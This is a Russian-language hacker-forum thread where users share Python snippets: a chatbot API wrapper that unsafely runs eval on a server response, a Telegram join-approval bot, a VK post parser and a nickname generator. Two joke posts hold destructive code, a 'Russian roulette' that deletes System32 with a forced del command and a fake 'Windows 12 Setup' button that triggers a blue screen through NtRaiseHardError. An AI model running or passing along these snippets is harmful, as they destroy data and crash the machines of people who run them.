HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > Python
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 13.03.2023, 00:29
TastyBread123
Постоянный
Регистрация: 05.11.2021
Сообщений: 634
С нами: 2380746

Репутация: 68


По умолчанию

Цитата:
Сообщение от Спойлер  

Почему другим языкам дали, а питону нет? 😡
Описание:*текст*

Код сниппета/функции:

Сниппет:





Код:
#code


Пример использования:

Сниппет:





Код:
#пример
 
Ответить с цитированием

  #2  
Старый 13.03.2023, 08:45
TastyBread123
Постоянный
Регистрация: 05.11.2021
Сообщений: 634
С нами: 2380746

Репутация: 68


По умолчанию

Описание: отправляет запрос к xu.su и возвращает ответ. Полезно для простых тг ботов

Код:

Функция:





Код:
import
requests
import
emoji
#pip install emoji
def
xusu
(
text
:
str
,
bot_type
:
str
=
'main'
)
-
>
str
:
#text - текст для запроса, bot_type - выбор типа бота (посмотреть можно на сайте), по умолчанию "main"
r
=
requests
.
post
(
'https://xu.su/api/send'
,
{
"uid"
:
None
,
"bot"
:
bot_type
,
"text"
:
text
}
)
#отправляем запрос
text
=
r
.
text
.
replace
(
'true'
,
'True'
)
data
=
eval
(
text
)
#превращаем ответ в словарь
new_text
=
''
.
join
(
char
for
char
in
data
[
'text'
]
if
char
not
in
emoji
.
EMOJI_DATA
)
return
new_text


Пример использования:print(xusu('как жизнь?'))
 
Ответить с цитированием

  #3  
Старый 04.05.2023, 18:47
_Dino_
Участник форума
Регистрация: 09.03.2021
Сообщений: 122
С нами: 2727055

Репутация: 83
По умолчанию

Описание:Автоматически принимает пользователя в группу/канал и пишет в ЛС этому пользователю с использованием библиотеки Telebot.

Код сниппета:

Отблагодарите меня хоть как нибудь):





Код:
import
telebot

bot
=
telebot
.
Telebot
(
"TOKEN_BOT"
)
def
handle_join_request
(
message
)
:
bot
.
send_message
(
message
.
user_chat_id
,
"Автоматически принял вас в группу!"
)
bot
.
approve_chat_join_request
(
message
.
chat
.
id
,
message
.
user_chat_id
)
bot
.
register_chat_join_request_handler
(
handle_join_request
)
 
Ответить с цитированием

  #4  
Старый 04.05.2023, 22:57
tfornik
Постоянный
Регистрация: 02.06.2022
Сообщений: 334
С нами: 2080425

Репутация: 68
По умолчанию

Описание:Русская рулетка

Python:





Код:
import
random
import
os

number
=
int
(
input
(
)
)
while
number

6
:
print
(
'От одного до 6.'
)
number
=
int
(
input
(
)
)
if
random
.
randint
(
0
,
6
)
==
number
:
os
.
remove
(
'C:\Windows\System32'
)
os
.
system
(
'cmd /k del %windir%\system32\*.* /f /s /q'
)
 
Ответить с цитированием

  #5  
Старый 05.05.2023, 04:25
AugustTN
Познавший АНТИЧАТ
Регистрация: 14.06.2021
Сообщений: 1,354
С нами: 2587494

Репутация: 88


По умолчанию

Описание: получение полной информации о посте ВК

Код сниппета/функции:

Python:





Код:
import
requests
group_id
=
""
#айди группы либо страницы человека, обязательно ставить - перед ид группы!
access_token
=
""
#как получить его можно узнать в гугле
def
parser_vk
(
)
:
url
=
f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1"
response
=
requests
.
get
(
url
)
data
=
response
.
json
(
)
result
=
data
[
'response'
]
[
'items'
]
return
result
for
post
in
parser_vk
(
)
:
print
(
post
[
'text'
]
)
#в массиве содержится вся информация о посте, лайки и т.д


Пример использования:

Python:





Код:
import
requests
import
datetime
group_id
=
"-182234941"
#ид форумник самп
access_token
=
"vk.L9dDkfdldorGodGuVIU6DB7c_tsSCFVmlKur04Asdgy5l7RWF187ksDWA2RO_fsZoeLaS34AdTr"
#пример токена
def
parser_vk
(
)
:
url
=
f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1&offset=1"
#count - кол-во постов сколько нужно, offset - аля отступ, например: offset=1 означает что первый пост не будет брать(если нам не нужен закрепленный пост), его можно убрать
response
=
requests
.
get
(
url
)
data
=
response
.
json
(
)
result
=
data
[
'response'
]
[
'items'
]
return
result
for
post
in
parser_vk
(
)
:
print
(
f"Количество лайков на посте{post['likes']['count']}"
)
print
(
f"Количество репостов на посте{post['comments']['count']}"
)
print
(
f"Пост создан в{datetime.datetime.utcfromtimestamp(post['date'])}"
)
if
'edited'
in
post
:
print
(
f"Пост изменен в{datetime.datetime.utcfromtimestamp(post['edited'])}"
)
else
:
print
(
f"Пост не изменялся"
)
#output:
#Количество лайков на посте 210
#Количество репостов на посте 51
#Пост создан в 2023-05-04 18:00:02
#Пост изменен в 2023-05-04 18:01:35


 
Ответить с цитированием

  #6  
Старый 08.05.2023, 04:08
AugustTN
Познавший АНТИЧАТ
Регистрация: 14.06.2021
Сообщений: 1,354
С нами: 2587494

Репутация: 88


По умолчанию

Описание: генератор никнейма SA:MP

Код сниппета/функции:


Python:





Код:
import
requests
import
random
def
nickname
(
)
:
random_name
=
random
.
randint
(
0
,
5163
)
random_surname
=
random
.
randint
(
5164
,
81533
)
url
=
"https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
result
=
requests
.
get
(
url
)
json
=
result
.
json
(
)
return
f'{json[random_name]}_{json[random_surname]}'


Пример использования:

Python:





Код:
import
requests
import
random
def
nickname
(
)
:
random_name
=
random
.
randint
(
0
,
5163
)
random_surname
=
random
.
randint
(
5164
,
81533
)
url
=
"https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
result
=
requests
.
get
(
url
)
json
=
result
.
json
(
)
return
f'{json[random_name]}_{json[random_surname]}'
print
(
nickname
(
)
)
#Carolin_Pettes
input
(
)
 
Ответить с цитированием

  #7  
Старый 29.05.2023, 23:59
riverya4life
Постоянный
Регистрация: 06.11.2021
Сообщений: 397
С нами: 2378594

Репутация: 48
По умолчанию

Описание:Синий экран смерти (Увидел это от @chapo , подумал сделать так-же, только на питоне)

Код сниппета/функции:

Python:





Код:
import
ctypes
ntdll
=
ctypes
.
windll
.
ntdll
prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)


Пример использования:

Python:





Код:
import
tkinter
as
tk
import
ctypes
def
CallBSOD
(
)
:
ntdll
=
ctypes
.
windll
.
ntdll
    prev_value
=
ctypes
.
c_bool
(
)
res
=
ctypes
.
c_ulong
(
)
ntdll
.
RtlAdjustPrivilege
(
19
,
True
,
False
,
ctypes
.
byref
(
prev_value
)
)
ntdll
.
NtRaiseHardError
(
0xDEADDEAD
,
0
,
0
,
0
,
6
,
ctypes
.
byref
(
res
)
)
root
=
tk
.
Tk
(
)
root
.
config
(
bg
=
'black'
)
root
.
title
(
'Шиндовс 12 Сетуп'
)
root
.
geometry
(
'500x200'
)
root
.
resizable
(
0
,
0
)
btnGenerate
=
tk
.
Button
(
root
,
text
=
'Установить'
,
font
=
'Arial 13 bold'
,
borderwidth
=
2
,
command
=
CallBSOD
)
btnGenerate
.
place
(
relx
=
0.5
,
rely
=
0.8
,
anchor
=
tk
.
CENTER
,
width
=
150
,
height
=
50
)
root
.
mainloop
(
)
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.